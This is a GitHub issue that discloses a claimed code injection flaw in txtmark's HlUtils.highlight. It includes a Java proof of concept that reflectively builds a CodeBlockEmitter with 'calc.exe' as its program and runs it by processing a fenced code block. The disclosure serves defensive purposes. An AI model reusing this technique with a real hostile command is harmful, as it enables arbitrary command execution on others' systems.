Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There's a code injection vulnerability of com.github.rjeschke.txtmark.cmd.HlUtils.highlight #60

Open
LetianYuan opened this issue Jul 17, 2023 · 0 comments

Comments

@LetianYuan
Copy link

LetianYuan commented Jul 17, 2023

com.github.rjeschke.txtmark.cmd.HlUtils.highlight is designed to highlight code blocks. However, passing an unchecked argument to this API can lead to the execution of arbitrary commands. For instance, first, we create an instance of CodeBlockEmitter and specify the parameter program of CodeBlockEmitter to ”calc.exe”:

Configuration.Builder builder = Configuration.builder();
Class clazz = Class.forName("com.github.rjeschke.txtmark.cmd.CodeBlockEmitter");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object cb = constructor.newInstance("UTF-8", "calc.exe");

Second, we set CodeBlockEmitter to the instance that we just created.

builder.setCodeBlockEmitter((BlockEmitter) cb);
builder.forceExtentedProfile();
Configuration config = builder.build();
System.out.println(Processor.process("```java\n123\n```\n", config));

Finally, malicious programs “calc.exe” would be executed.

@LetianYuan LetianYuan changed the title There's a code injection vulnerability of com.github.rjeschke.txtmark.cmd.highlight There's a code injection vulnerability of com.github.rjeschke.txtmark.cmd.HlUtils.highlight Jul 17, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant